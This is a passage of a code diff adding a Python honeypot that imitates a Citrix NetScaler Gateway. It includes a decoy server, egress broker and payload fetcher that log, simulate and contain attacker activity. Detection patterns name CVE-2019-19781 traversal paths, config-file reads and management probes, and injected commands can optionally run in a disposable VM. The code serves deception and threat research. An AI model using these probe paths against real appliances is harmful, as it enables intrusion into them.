substitutions: + return ';'.join(substitutions) + fields = tail.replace('(', '').replace(')', '').split() + core = '-'.join(fields[:2]) + if ';' not in core: + return None + # Simple semicolon injection without backticks. + return core.split(';', 1)[-1] + + +# Conservative, path-based indicators for known Citrix ADC/Gateway exploitation and probes. +# Every request is already logged in full; these labels make hunting fast without guessing. +SIGNATURES = ( + ('CVE-2019-19781', re.compile(r'/vpn/\.\./vpns|/vpns/(?:cfg|portal|scripts)|\.\./vpns', re.I)), + ('path-traversal', re.compile(r'\.\.(?:/|%2f)|%2e%2e|%252e', re.I)), + ('config-read', re.compile(r'/nsconfig/|/flash/nsconfig|/ns\.conf', re.I)), + ('management-probe', re.compile(r'/(?:gwtest|rapi|cgi-bin|menu|nitro)/', re.I)), +) + + +def exploit_signatures(path): + raw = urllib.parse.unquote(path) + return [name for name, pattern in SIGNATURES if pattern.search(path) or pattern.search(raw)] + + +class Engine: + def __init__(self, emit, delay=1, save=None, fetcher=None): + self.sink, self.save = emit, save + self.delay = delay + self.sessions = collections.OrderedDict() + self.lock = threading.RLock() + self.backend = None + self.fetcher = fetcher + + def emit(self, event, **data): + try: + if 'content' in data: + content = data.pop('content') + data['evidence'] = (self.save(content) if self.save else + dict(sha256=hashlib.sha256(content).hexdigest(), bytes=len(content))) + self.sink(event, **data) + except OSError as error: + raise EvidenceError(str(error)) from error + + def session(self, peer): + # ponytail: per-source state merges clients behind NAT; use validated sessions if needed. + now = time.monotonic() + for key in list(self.sessions): + if now - self.sessions[key].seen > TTL: + self.emit('session_expired', peer=key, session=self.sessions[key].sid, + pending_dropped=len(self.sessions[key].pending)) + del self.sessions[key] + if peer not in self.sessions: + if len(self.sessions) >= MAX_SESSIONS: + key, old = self.sessions.popitem(last=False) + self.emit('session_evicted', peer=key, session=old.sid, pending_dropped=len(old.pending)) + self.sessions[peer] = Session() + state = self.sessions[peer] + state.seen = now + self.sessions.move_to_end(peer) + return state + + def auth_attempt(self, state, context, path): + # ponytail: bounded fixed 5-minute window; raw events support later cross-window analysis. + with self.lock: + now = time.monotonic() + if now - state.auth_started >= 300: + state.auth_started, state.auth_count = now, 0 + state.auth_count += 1 + data = dict(context, path=path, attempts_in_window=state.auth_count, + window_seconds=300, threshold=10, + classification='suspected_brute_force' if state.auth_count >= 10 else 'auth_submission', + outcome='decoy_no_authentication') + self.emit('auth_attempt', **data) + if state.auth_count % 10 == 0: + self.emit('brute_force_suspected', **data) + + def ingest(self, state, candidates, context=None): + context = dict(context or {}, session=state.sid) + for source, value in candidates: + command = extract(value) + if command is not None: + self.emit('injection_candidate', **context, source=source, value=value, + command=command, confidence='heuristic') + if len(state.pending) < MAX_PENDING: + state.pending.append((time.monotonic() + self.delay, command, context)) + else: + self.emit('limit', **context, resource='pending_commands') + + def tick(self): + pending_vm = [] + with self.lock: + for state in self.sessions.values(): + while state.pending and state.pending[0][0] <= time.monotonic(): + _, command, context = state.pending.popleft() + if self.backend: + pending_vm.append((command, context)) + continue + self.emit('simulation_start', **context, command=command) + download = (lambda text: self.fetcher.submit(text, context)) if self.fetcher else None + simulate(state, command, lambda event, **data: self.emit(event, **context, **data), download) + self.emit('simulation_end', **context) + for command, context in pending_vm: + self.backend.execute(command, context) + + +class Server(http.server.ThreadingHTTPServer): + daemon_threads = True + allow_reuse_address = True + + def __init__(self, address, engine, tls=None, proxy_from=None, serve_guest_files=True, + trusted_forwarded=()): + self.engine, self.tls = engine, tls + self.proxy_from = proxy_from + self.serve_guest_files = serve_guest_files + # Only a hop (the PROXY-declared source) inside one of these networks may set client headers. + self.trusted_forwarded = [ipaddress.ip_network(value, strict=False) for value in trusted_forwarded] + self.capture_failed = False + self.slots = threading.BoundedSemaphore(32) + self.local = threading.local() + super().__init__(address, Handler) + + def _trusts_forwarded(self, peer): + try: + address = ipaddress.ip_address(peer) + except ValueError: + return False + return any(address in network for network in self.trusted_forwarded) + + def process_request(self, request, address): + if not self.slots.acquire(blocking=False): + self.engine.emit('connection_rejected', peer=address[0], peer_port=address[1], reason='connection_limit') + self.shutdown_request(request) + return + try: + super().process_request(request, address) + except BaseException: + self.slots.release() + raise + + def process_request_thread(self, request, address): + try: + request.settimeout(5) + if self.proxy_from: + original = address + address, header = proxy_source(request, original, self.proxy_from) + self.engine.emit('trusted_ingress', peer=address[0], peer_port=address[1], + transport_peer=original[0], transport_port=original[1], content=header) + if self.tls: + request = self.tls.wrap_socket(request, server_side=True) + # The hop that connected to us is the PROXY-declared source (or socket peer without PROXY). + self.local.trusted = self._trusts_forwarded(address[0]) + super().process_request_thread(request, address) + except (OSError, ssl.SSLError, ValueError, UnicodeError): + if isinstance(sys.exc_info()[1], EvidenceError): + self.handle_error(request, address) + else: + try: + self.engine.emit('transport_error', peer=address[0], peer_port=address[1], + error=type(sys.exc_info()[1]).__name__) + except EvidenceError as error: + self.stop_capture(error) + self.shutdown_request(request) + finally: + self.slots.release() + + def handle_error(self, request, address): + error = sys.exc_info()[1] + if isinstance(error, EvidenceError): + self.stop_capture(error) + else: + try: + self.engine.emit('handler_error', peer=address[0], peer_port=address[1], error=type(error).__name__) + except EvidenceError as failure: + self.stop_capture(failure) + + def stop_capture(self, error): + if self.capture_failed: + return + self.capture_failed = True + if self.engine.backend: + try: + self.engine.backend.close(trip=True) + except OSError: + pass + print(f'CAPTURE STOPPED: {error}', file=sys.stderr, flush=True) + threading.Thread(target=self.shutdown, daemon=True).start() + + +class Handler(http.server.BaseHTTPRequestHandler): + server_version = 'Apache' + sys_version = '' + protocol_version = 'HTTP/1.1' + + def version_string(self): + return self.server_version + + def log_message(self, format, *args): + self.event('http_diagnostic', message=format % args) + + def event(self, event, **data): + self.server.engine.emit(event, **self.context, **data) + + def handle_one_request(self): + self.context = dict(request_id=secrets.token_hex(16), peer=self.client_address[0], + peer_port=self.client_address[1], + local_ip=self.connection.getsockname()[0], + local_port=self.connection.getsockname()[1]) + self.status = None + self.body_complete = False + self.started = time.monotonic_ns() + original = self.rfile + recorder = RecordingReader(original, MAX_BODY + 131072) + self.rfile = recorder + try: + self.event('connection', tls=isinstance(self.connection, ssl.SSLSocket), + tls_cipher=self.connection.cipher() if isinstance(self.connection, ssl.SSLSocket) else None) + super().handle_one_request() + except EvidenceError: + raise + except (TimeoutError, ConnectionError, OSError) as error: + self.event('request_interrupted', reason=type(error).__name__) + finally: + self.rfile = original + self.event('request_end', status=self.status, + duration_ms=(time.monotonic_ns() - self.started) / 1e6, + body_complete=self.body_complete, wire_truncated=recorder.truncated, + content=bytes(recorder.data), + capture_scope='consumed HTTP bytes after TLS; unread/rejected bytes not captured') + + def send_response(self, code, message=None): + self.status = code + super().send_response(code, message) + + def send_error(self, code, message=None, explain=None): + self.event('http_rejected', status=code, reason=message or self.responses.get(code, ('',))[0]) + super().send_error(code, message, explain) + + def __getattr__(self, name): + if name.startswith('do_'): + return self.handle_decoy + raise AttributeError(name) + + def read_bytes(self, size): + chunks = bytearray() + while len(chunks) < size: + if time.monotonic_ns() - self.started > 30 * 10**9: + raise ValueError('request duration limit') + data = self.rfile.read1(min(65536, size - len(chunks))) + if not data: + raise ValueError('incomplete request body') + chunks.extend(data) + return bytes(chunks) + + def read_body(self): + lengths = self.headers.get_all('Content-Length', []) + transfers = self.headers.get_all('Transfer-Encoding', []) + if len(lengths) > 1 or len(transfers) > 1 or (lengths and transfers): + raise ValueError('ambiguous body framing') + if transfers: + if transfers[0].lower().strip() != 'chunked': + raise ValueError('unsupported transfer encoding') + body = bytearray() + for _ in range(4096): + line = self.rfile.readline(1025) + if len(line) > 1024 or not line.endswith(b'\r\n'): + raise ValueError('invalid chunk header') + size_text = line.split(b';', 1)[0].strip() + if not re.fullmatch(rb'[0-9a-fA-F]+', size_text): + raise ValueError('invalid chunk size') + size = int(size_text, 16) + if len(body) + size > MAX_BODY: + raise OverflowError('body limit') + if size == 0: + trailers = bytearray() + while len(trailers) <= 32768: + line = self.rfile.readline(1025) + trailers.extend(line) + if line == b'\r\n': + self.event('request_trailers', content=bytes(trailers)) + return bytes(body) + if not line or len(line) > 1024: + break + raise ValueError('invalid trailers') + body.extend(self.read_bytes(size)) + if self.read_bytes(2) != b'\r\n': + raise ValueError('invalid chunk terminator') + raise ValueError('chunk count limit') + length = int(lengths[0]) if lengths else 0 + if length < 0: + raise ValueError('negative content length') + if length > MAX_BODY: + raise OverflowError('body limit') + return self.read_bytes(length) + + def capture_body(self, body): + self.event('request_body', content=body, content_type=self.headers.get('Content-Type', '')) + kind = self.headers.get_content_type() + if kind == 'multipart/form-data': + raw_type = self.headers.get('Content-Type', '') + # MIME parsing only: never use a supplied filename as a host path. + message = email.parser.BytesParser(policy=email.policy.default).parsebytes( + ('Content-Type: ' + raw_type + '\r\nMIME-Version: 1.0\r\n\r\n').encode('latin1') + body) + if not message.is_multipart(): + self.event('multipart_parse_error', reason='not multipart; raw body retained') + return [] + fields = [] + for index, part in enumerate(message.walk()): + if index >= 128: + self.event('limit', resource='multipart_parts', raw_body_retained=True) + break + if part.is_multipart(): + continue + payload = part.get_payload(decode=True) or b'' + filename = part.get_filename() + field = part.get_param('name', header='content-disposition') + self.event('upload' if filename is not None else 'multipart_field', + filename=filename, field=field, content_type=part.get_content_type(), + defects=[type(d).__name__ for d in part.defects], content=payload) + if filename is not None and self.server.engine.backend: + self.server.engine.backend.upload(payload, self.context) + if filename is None and len(payload) <= 65536: + fields.append((field or '', payload.decode('utf-8', 'replace'))) + return fields + if kind == 'application/x-www-form-urlencoded': + if len(body) > 65536: + self.event('limit', resource='form_decoding', raw_body_retained=True) + return [] + try: + fields = urllib.parse.parse_qsl(body.decode('utf-8', 'replace'), max_num_fields=128) + self.event('form_fields', fields=fields) + return fields + except ValueError: + self.event('form_parse_error', raw_body_retained=True) + return [] + if body: + self.event('upload_or_raw_payload', filename=None, content=body) + if self.server.engine.backend: + self.server.engine.backend.upload(body, self.context) + return [] + + def handle_decoy(self): + engine = self.server.engine + # Trusted Cloudflare/edge headers only when the connecting hop is a configured proxy. + if getattr(self.server.local, 'trusted', False) and self.headers is not None: + client, source = forwarded_client(self.headers) + if client and client != self.client_address[0]: + self.context.update(peer=client, client_ip_source=source, + proxy_peer=self.client_address[0]) + self.client_address = (client, self.client_address[1]) + with engine.lock: + state = engine.session(self.client_address[0]) + self.context['session'] = state.sid + if engine.backend: + engine.backend.register_peer(self.client_address[0]) + self.event('request', method=self.command, uri=self.path, version=self.request_version, + headers=list(self.headers.raw_items())) + signatures = exploit_signatures(self.path) + if signatures: + self.event('exploit_attempt', signatures=signatures, uri=self.path) + if sum(len(k) + len(v) for k, v in self.headers.items()) > 32768: + self.send_error(431) + return + try: + body = self.read_body() + except (ValueError, OverflowError) as error: + self.send_error(413 if isinstance(error, OverflowError) else 400, str(error)) + return + self.body_complete = True + fields = self.capture_body(body) + try: + url = urllib.parse.urlsplit(self.path) + except ValueError: + self.send_error(400, 'invalid URL') + return + auth_fields = {key.lower() for key, _ in fields} + if self.command == 'POST' and (url.path.startswith('/nf/auth/') or + url.path in ('/vpn/login', '/vpn/login.html', '/cgi/login') or + auth_fields.intersection({'passwd', 'password', 'pwd', 'passcode'})): + engine.auth_attempt(state, self.context, url.path) + vm_read_path = None + with engine.lock: + candidates = [('uri', urllib.parse.unquote(self.path))] + candidates += [('header:' + key, value) for key, value in self.headers.items()] + candidates += [('form:' + key, value) for key, value in fields] + engine.ingest(state, candidates, self.context) + code, data, mime = 200, LOGIN, 'text/html; charset=utf-8' + if url.path in STATIC: + data, mime = STATIC[url.path] + elif url.path.startswith('/nf/auth/'): + data = ('' + 'successmore-info' + '' + html.escape(state.sid) + '' + '').encode() + mime = 'application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8' + elif url.path not in LOGIN_PATHS: + key = posixpath.normpath(WEBROOT + '/' + urllib.parse.unquote(url.path).lstrip('/')) + if not self.server.serve_guest_files: + code, data = 404, b'Not Found' + elif engine.backend and key.startswith(WEBROOT + '/'): + vm_read_path = key + code, data = 404, b'Not Found' + elif key.startswith(WEBROOT + '/') and key in state.files: + data = state.files[key].encode() + mime = 'text/plain; charset=utf-8' + self.event('virtual_file_http_read', path=key, content=data) + else: + code, data = 404, b'Not Found' + if vm_read_path: + result = engine.backend.read(vm_read_path, self.context) + if result is not None: + code, data, mime = 200, result, 'text/plain; charset=utf-8' + # Headers shaped like the real NetScaler Gateway AAA response; HTTP/1.1 keep-alive is default. + headers = [('Content-Type', mime), ('Content-Length', str(len(data))), + ('Cache-Control', 'no-cache, no-store, must-revalidate'), + ('Pragma', 'no-cache'), ('Expires', '0'), + ('X-Frame-Options', 'SAMEORIGIN'), ('X-Content-Type-Options', 'nosniff'), + ('X-XSS-Protection', '1; mode=block'), + ('Set-Cookie', f'NSC_AAAC={state.sid}; Path=/; Secure; HttpOnly'), + ('Content-Security-Policy', + "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; " + "img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; " + "connect-src 'self' citrixng:// com.citrix.nsgclient:// nsgcepa://; " + "report-uri /nscsp_violation/report_uri")] + self.event('response', status=code, headers=headers, content=data, + body_suppressed=self.command == 'HEAD') + self.send_response(code) + for key, value in headers: + self.send_header(key, value) + self.end_headers() + if self.command != 'HEAD': + self.wfile.write(data) + self.event('response_sent', status=code, body_bytes=0 if self.command == 'HEAD' else len(data)) + + +def parse_trusted(spec): + """Split a comma-separated CIDR list; @path reads one CIDR per line from a file.""" + items = [] + for raw in (spec or '').split(','): + raw = raw.strip() + if not raw: + continue + if raw.startswith('@'): + items.extend(line.strip() for line in pathlib.Path(raw[1:]).read_text().splitlines()) + else: + items.append(raw) + result = [item for item in items if item and not item.startswith('#')] + for item in result: + ipaddress.ip_network(item, strict=False) + return result + + +def main(): + load() + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--hide-guest-files', action='store_true', help='serve only fixed NetScaler UI/auth routes over HTTP') + parser.add_argument('--vm-config', default=os.environ.get('DECOY_VM_CONFIG') or None, + help='opt-in dedicated disposable guest SSH configuration') + parser.add_argument('--allow-real-execution', action='store_true', + help='required with --vm-config; real attacker commands then run in the isolated guest') + parser.add_argument('--bind', default=os.environ.get('HONEYPOT_BIND', '127.0.0.1')) + parser.add_argument('--port', type=int, default=env_int('HONEYPOT_PORT', 8443)) + parser.add_argument('--cert') + parser.add_argument('--key') + parser.add_argument('--proxy-protocol-from', default=os.environ.get('HONEYPOT_PROXY_PROTOCOL_FROM') or None, + help='require PROXY v1 only from this exact trusted transport IP') + parser.add_argument('--trusted-forwarded-from', default=os.environ.get('HONEYPOT_TRUSTED_FORWARDED_FROM') or None, + help='comma-separated CIDRs whose CF-Connecting-IP/X-Forwarded-For headers are trusted') + parser.add_argument('--fetch-payloads', action='store_true', + help='download payload URLs from attacker commands (HTTP GET only; never executed)') + parser.add_argument('--delay', type=float, default=1, + help='simulated log processing delay in seconds (real appliance may take 24h)') + parser.add_argument('--log-dir', default=os.environ.get('HONEYPOT_LOG_DIR', str(pathlib.Path(__file__).parent / 'logs'))) + parser.add_argument('--evidence-mib', type=int, default=env_int('HONEYPOT_EVIDENCE_MIB', 1024), + help='total evidence quota; stop rather than overwrite at this limit') + args = parser.parse_args() + if bool(args.cert) != bool(args.key) or not 0 <= args.delay <= 86400 or args.evidence_mib < 1: + parser.error('provide both cert/key; delay must be 0..86400; evidence-mib must be positive') + if args.vm_config and not args.allow_real_execution: + parser.error('--vm-config requires --allow-real-execution; keep internet-facing listeners in simulation mode') + if args.allow_real_execution and not args.vm_config: + parser.error('--allow-real-execution requires --vm-config') + os.umask(0o077) + directory = pathlib.Path(args.log_dir) + evidence = Evidence(directory, args.evidence_mib * 1024 * 1024) + context = None + if args.cert: + context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + context.load_cert_chain(args.cert, args.key) + engine = Engine(evidence.emit, args.delay, evidence.save) + try: + server = Server((args.bind, args.port), engine, context, args.proxy_protocol_from, + serve_guest_files=not args.hide_guest_files, + trusted_forwarded=parse_trusted(args.trusted_forwarded_from)) + except (OSError, ValueError) as error: + parser.error(f'invalid --trusted-forwarded-from: {error}') + if args.fetch_payloads: + from payload_fetch import Fetcher + engine.fetcher = Fetcher(engine.emit, on_failure=server.stop_capture) + if args.vm_config: + from vm_backend import VMBackend + engine.backend = VMBackend(args.vm_config, engine.emit) + engine.backend.on_failure = server.stop_capture + stopping = threading.Event() + def worker(): + while not stopping.wait(0.25): + try: + engine.tick() + except EvidenceError as error: + server.stop_capture(error) + break + threading.Thread(target=worker, daemon=True).start() + engine.emit('start', mode='disposable_vm' if engine.backend else 'simulation', bind=args.bind, port=server.server_port, + delay=args.delay, evidence_quota_bytes=evidence.quota, max_body_bytes=MAX_BODY, + serve_guest_files=server.serve_guest_files, real_execution=bool(engine.backend), + payload_fetch=bool(engine.fetcher)) + if engine.backend: + print('WARNING: real execution enabled; attacker commands run only in the isolated disposable guest', + file=sys.stderr, flush=True) + if engine.fetcher: + print('Payload fetch enabled: attacker URLs are downloaded (HTTP GET only, never executed)', + file=sys.stderr, flush=True) + print(f"Decoy: {'https' if context else 'http'}://{args.bind}:{server.server_port}; logs: {directory}", flush=True) + try: + server.serve_forever() + except KeyboardInterrupt: + pass + finally: + stopping.set() + if engine.backend: + engine.backend.close() + server.server_close() + evidence.close() + if server.capture_failed: + raise SystemExit(1) + + +if __name__ == '__main__': + main() diff --git a/ingress_proxy.py b/ingress_proxy.py new file mode 100644 index 0000000..c5b4d40 --- /dev/null +++ b/ingress_proxy.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python3 +"""TCP forwarding with trusted PROXY v1 metadata, before any TLS bytes.""" +import argparse +import asyncio +import ipaddress +import os + +from env_file import load, env_int + + +async def forward(reader, writer, target_host, target_port): + upstream = None + try: + peer = writer.get_extra_info('peername') + local = writer.get_extra_info('sockname') + family = 'TCP6' if ipaddress.ip_address(peer[0]).version == 6 else 'TCP4' + remote, upstream = await asyncio.wait_for(asyncio.open_connection(target_host, target_port), 5) + upstream.write(f'PROXY {family} {peer[0]} {local[0]} {peer[1]} {local[1]}\r\n'.encode('ascii')) + await upstream.drain() + async def copy(source, destination): + while data := await asyncio.wait_for(source.read(65536), 60): + destination.write(data) + await asyncio.wait_for(destination.drain(), 10) + if destination.can_write_eof(): + destination.write_eof() + await asyncio.wait_for(asyncio.gather(copy(reader, upstream), copy(remote, writer)), 120) + except (OSError, asyncio.TimeoutError): + pass + finally: + if upstream: + upstream.close() + writer.close() + + +async def serve(args): + active = set() + allowed = [ipaddress.ip_network(item.strip(), strict=False) + for item in (args.allow_from or '').split(',') if item.strip()] + + def permitted(peer): + return not allowed or any(ipaddress.ip_address(peer[0]) in network for network in allowed) + + async def accept(reader, writer): + if len(active) >= 64 or not permitted(writer.get_extra_info('peername')): + writer.close() + return + task = asyncio.current_task() + active.add(task) + try: + await forward(reader, writer, args.target, args.target_port) + finally: + active.discard(task) + server = await asyncio.start_server(accept, args.bind, args.port, limit=65536) + async with server: + await server.serve_forever() + + +if __name__ == '__main__': + load() + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--bind', default=os.environ.get('INGRESS_BIND', '127.0.0.1')) + parser.add_argument('--port', type=int, default=env_int('INGRESS_PORT', 18443)) + parser.add_argument('--target', default=os.environ.get('INGRESS_TARGET', '127.0.0.1')) + parser.add_argument('--target-port', type=int, default=env_int('INGRESS_TARGET_PORT', 19443)) + parser.add_argument('--allow-from', default=os.environ.get('INGRESS_ALLOW_FROM', ''), + help='comma-separated CIDRs allowed to connect (empty = any)') + asyncio.run(serve(parser.parse_args())) diff --git a/network_capture.py b/network_capture.py new file mode 100644 index 0000000..d7f2dab --- /dev/null +++ b/network_capture.py @@ -0,0 +1,289 @@ +"""Bounded, recording TCP egress broker and Linux transparent guest relay. + +Guest metadata is untrusted. The outside broker makes all destination decisions. +No TLS interception: encrypted stream bytes remain encrypted evidence. +""" +import argparse +import ipaddress +import json +import os +import pathlib +import select +import socket +import socketserver +import stat +import struct +import threading +import time +import uuid + +from evidence import Evidence + +MAX_STREAM = 16 * 1024 * 1024 +TTL = 600 +STOP = pathlib.Path('/var/lib/decoy/STOP') + + +def public_ip(value): + ip = ipaddress.IPv4Address(value) + if not ip.is_global or ip.is_multicast or ip.is_reserved: + raise ValueError('destination is not public unicast IPv4') + return str(ip) + + +def read_message(sock): + data = bytearray() + while len(data) < 4096: + char = sock.recv(1) + if char == b'\n': + message = json.loads(data) + if not isinstance(message, dict): + raise ValueError('expected object') + return message + if not char: + raise ValueError('incomplete request') + data.extend(char) + raise ValueError('request too large') + + +def send_message(sock, value): + sock.sendall(json.dumps(value, separators=(',', ':')).encode() + b'\n') + + +def allowed_peers(path): + try: + fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK) + with os.fdopen(fd, 'rb') as stream: + info = os.fstat(stream.fileno()) + if not stat.S_ISREG(info.st_mode) or info.st_uid != 0 or info.st_mode & 0o022 or time.time() - info.st_mtime > 3600: + return set() + data = stream.read(65537) + if len(data) > 65536: + return set() + peers = json.loads(data) + if not isinstance(peers, list): + return set() + result = set() + for peer in peers: + try: + if isinstance(peer, str): + result.add(public_ip(peer)) + except ValueError: + pass + return result + except (OSError, ValueError, TypeError): + return set() + + +def pipe(left, right, record=None, stopped=lambda: False): + """Preserve chunk ordering; record before forwarding, including binary bytes.""" + streams = {left: (right, 'guest_to_remote'), right: (left, 'remote_to_guest')} + deadline, total, sequence = time.monotonic() + TTL, 0, 0 + while streams: + if stopped(): + return 'capture_stopped', total + if time.monotonic() >= deadline: + return 'lifetime_limit', total + ready, _, _ = select.select(list(streams), [], [], max(0, min(1, deadline - time.monotonic()))) + for source in ready: + target, direction = streams[source] + data = source.recv(min(16384, MAX_STREAM - total + 1)) + if not data: + target.shutdown(socket.SHUT_WR) + del streams[source] + continue + if total + len(data) > MAX_STREAM: + if record: + record(sequence, direction, data, forwarded=False) + return 'byte_limit', total + if record: + record(sequence, direction, data, forwarded=True) + sequence += 1 + target.sendall(data) + total += len(data) + return 'eof', total + + +class Server(socketserver.ThreadingTCPServer): + allow_reuse_address = True + daemon_threads = True + + def __init__(self, address, handler, **settings): + self.__dict__.update(settings) + self.slots = threading.BoundedSemaphore(32) + self.failed = threading.Event() + super().__init__(address, handler) + + def process_request(self, request, address): + if self.failed.is_set() or STOP.exists() or not self.slots.acquire(False): + request.close() + return + try: + super().process_request(request, address) + except BaseException: + self.slots.release() + raise + + def process_request_thread(self, request, address): + try: + super().process_request_thread(request, address) + finally: + self.slots.release() + + +class Broker(socketserver.BaseRequestHandler): + def fail(self): + self.server.failed.set() + STOP.parent.mkdir(parents=True, exist_ok=True) + STOP.touch(mode=0o600, exist_ok=True) + + def event(self, kind, **data): + if self.server.failed.is_set() or STOP.exists(): + raise OSError('evidence failed') + try: + self.server.evidence.emit(kind, connection_id=self.cid, reported_guest=self.client_address[0], **data) + except OSError: + self.fail() + raise + + def chunk(self, sequence, direction, data, forwarded): + try: + blob = self.server.evidence.save(data) + self.event('network_chunk', sequence=sequence, direction=direction, forwarded=forwarded, **blob) + except OSError: + self.fail() + raise + + def handle(self): + self.cid = uuid.uuid4().hex + self.request.settimeout(10) + connected = False + try: + message = read_message(self.request) + self.event('network_request', untrusted_request=message) + if message.get('op') == 'dns': + name = message.get('name') + if not isinstance(name, str) or len(name) > 253 or not all(c.isascii() and (c.isalnum() or c in '.-') for c in name): + raise ValueError('invalid DNS name') + addresses = set() + for answer in socket.getaddrinfo(name, None, socket.AF_INET, socket.SOCK_STREAM): + try: + addresses.add(public_ip(answer[4][0])) + except ValueError: + pass + answers = sorted(addresses)[:16] + self.event('dns_result', name=name, addresses=answers) + send_message(self.request, {'ok': True, 'addresses': answers}) + return + if message.get('op') != 'connect': + raise ValueError('unknown operation') + ip = public_ip(message.get('ip')) + port = message.get('port') + if type(port) is not int or not 1 <= port <= 65535: + raise ValueError('invalid port') + if port not in (80, 443) and ip not in allowed_peers(self.server.peers): + raise ValueError('port requires registered attacker peer') + # Numeric IP only: DNS cannot rebind between policy and connect. + with socket.create_connection((ip, port), timeout=10) as remote: + self.event('network_connected', destination_ip=ip, destination_port=port) + send_message(self.request, {'ok': True, 'connection_id': self.cid}) + connected = True + reason, count = pipe(self.request, remote, self.chunk, lambda: self.server.failed.is_set() or STOP.exists()) + self.event('network_end', reason=reason, bytes=count) + except (OSError, ValueError, TypeError) as exc: + try: + self.event('network_closed', reason=str(exc)[:300]) + if not connected: + send_message(self.request, {'ok': False, 'error': 'connection denied or ended'}) + except OSError: + pass + + +class Relay(socketserver.BaseRequestHandler): + def handle(self): + self.request.settimeout(10) + try: + original = self.request.getsockopt(socket.SOL_IP, 80, 16) # Linux SO_ORIGINAL_DST + port = struct.unpack('!H', original[2:4])[0] + ip = socket.inet_ntoa(original[4:8]) + with socket.create_connection(self.server.broker, timeout=10) as remote: + send_message(remote, {'op': 'connect', 'ip': ip, 'port': port}) + if read_message(remote).get('ok'): + pipe(self.request, remote) + except (OSError, ValueError): + pass + + +def dns_reply(packet, broker): + if len(packet) < 12 or len(packet) > 512: + return None + ident, flags, questions, _, _, _ = struct.unpack('!6H', packet[:12]) + if questions != 1 or flags & 0xf800: + return None + labels, offset = [], 12 + while offset < len(packet): + size = packet[offset] + offset += 1 + if not size: + break + if size > 63 or offset + size > len(packet): + return None + try: + labels.append(packet[offset:offset + size].decode('ascii')) + except UnicodeDecodeError: + return None + offset += size + if offset + 4 != len(packet): + return None + qtype, qclass = struct.unpack('!HH', packet[offset:]) + addresses, rcode = [], 0 + if qclass == 1 and qtype == 1: + try: + with socket.create_connection(broker, timeout=5) as remote: + send_message(remote, {'op': 'dns', 'name': '.'.join(labels)}) + reply = read_message(remote) + addresses = [public_ip(a) for a in reply.get('addresses', [])][:16] if reply.get('ok') else [] + if not addresses: + rcode = 3 + except (OSError, ValueError, TypeError): + rcode = 2 + # Empty answer for AAAA/unsupported types avoids leaking around the broker. + header = struct.pack('!6H', ident, 0x8080 | (flags & 0x100) | rcode, 1, len(addresses), 0, 0) + answers = b''.join(b'\xc0\x0c' + struct.pack('!HHIH', 1, 1, 30, 4) + socket.inet_aton(ip) for ip in addresses) + return header + packet[12:] + answers + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--role', choices=('broker', 'relay'), required=True) + parser.add_argument('--listen', default='127.0.0.1') + parser.add_argument('--port', type=int) + parser.add_argument('--broker', default='10.0.2.100') + parser.add_argument('--broker-port', type=int, default=19090) + parser.add_argument('--dns-port', type=int, default=53) + parser.add_argument('--evidence', default='/var/lib/decoy/network') + parser.add_argument('--quota-mib', type=int, default=8192) + parser.add_argument('--peers', default='/var/lib/decoy/allowed-peers.json') + args = parser.parse_args() + if args.role == 'broker': + evidence = Evidence(args.evidence, quota=args.quota_mib * 1024 ** 2) + server = Server((args.listen, args.port or 19090), Broker, evidence=evidence, peers=args.peers) + else: + broker = (args.broker, args.broker_port) + # Bind DNS before serving TCP so a bind failure prevents partial startup. + dns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + dns.bind(('127.0.0.1', args.dns_port)) + def serve_dns(): + while True: + packet, peer = dns.recvfrom(513) + response = dns_reply(packet, broker) + if response: + dns.sendto(response, peer) + threading.Thread(target=serve_dns, daemon=True).start() + server = Server((args.listen, args.port or 15001), Relay, broker=broker) + with server: + server.serve_forever() + + +if __name__ == '__main__': + main() diff --git a/payload_fetch.py b/payload_fetch.py new file mode 100644 index 0000000..434696f --- /dev/null +++ b/payload_fetch.py @@ -0,0 +1,113 @@ +"""Strict outbound payload fetcher. HTTP(S) GET only; never executes, pipes or writes files. + +Egress policy: only http/https on ports 80/443; the host must resolve exclusively to global +unicast addresses (private/loopback/link-local/metadata rejected); the validated IP is pinned +for the actual connect so DNS rebinding cannot redirect it; redirects are re-validated and +depth-limited; size and time are bounded. Downloaded bytes go only to inert evidence storage. +""" +import http.client +import ipaddress +import re +import socket +import ssl +import threading +import urllib.parse + +URL_RE = re.compile(r'https?://[^\s\'"`;|&$()<>\\]+', re.I) +MAX_BYTES = 16 * 1024 * 1024 +TIMEOUT = 10 +ALLOWED_PORTS = (80, 443) + + +def extract_urls(text): + return URL_RE.findall(text or '') + + +def public_addresses(host): + infos = socket.getaddrinfo(host, None, proto=socket.IPPROTO_TCP) + addresses = [] + for info in infos: + address = info[4][0] + ip = ipaddress.ip_address(address) + if not ip.is_global or ip.is_multicast: + raise ValueError('host resolves to a non-public address') + if address not in addresses: + addresses.append(address) + if not addresses: + raise ValueError('host did not resolve') + return addresses + + +class _PinnedHTTP(http.client.HTTPConnection): + def __init__(self, host, ip, port): + super().__init__(host, port, timeout=TIMEOUT) + self._ip = ip + + def connect(self): + self.sock = socket.create_connection((self._ip, self.port), self.timeout) + + +class _PinnedHTTPS(http.client.HTTPSConnection): + def __init__(self, host, ip, port): + super().__init__(host, port, timeout=TIMEOUT, context=ssl.create_default_context()) + self._ip = ip + + def connect(self): + raw = socket.create_connection((self._ip, self.port), self.timeout) + self.sock = self._context.wrap_socket(raw, server_hostname=self.host) + + +class Fetcher: + def __init__(self, emit, resolver=public_addresses, max_bytes=MAX_BYTES, + ports=ALLOWED_PORTS, redirects=3, slots=4, on_failure=None): + self.emit, self.resolver, self.on_failure = emit, resolver, on_failure + self.max_bytes, self.ports, self.redirects = max_bytes, ports, redirects + self.slots = threading.BoundedSemaphore(slots) + + def submit(self, text, context): + for url in list(dict.fromkeys(extract_urls(text)))[:4]: + if not self.slots.acquire(False): + self._safe_emit('payload_fetch_rejected', url=url, reason='concurrency', **context) + continue + threading.Thread(target=self._run, args=(url, context), daemon=True).start() + + def _safe_emit(self, event, **data): + try: + self.emit(event, **data) + except OSError as 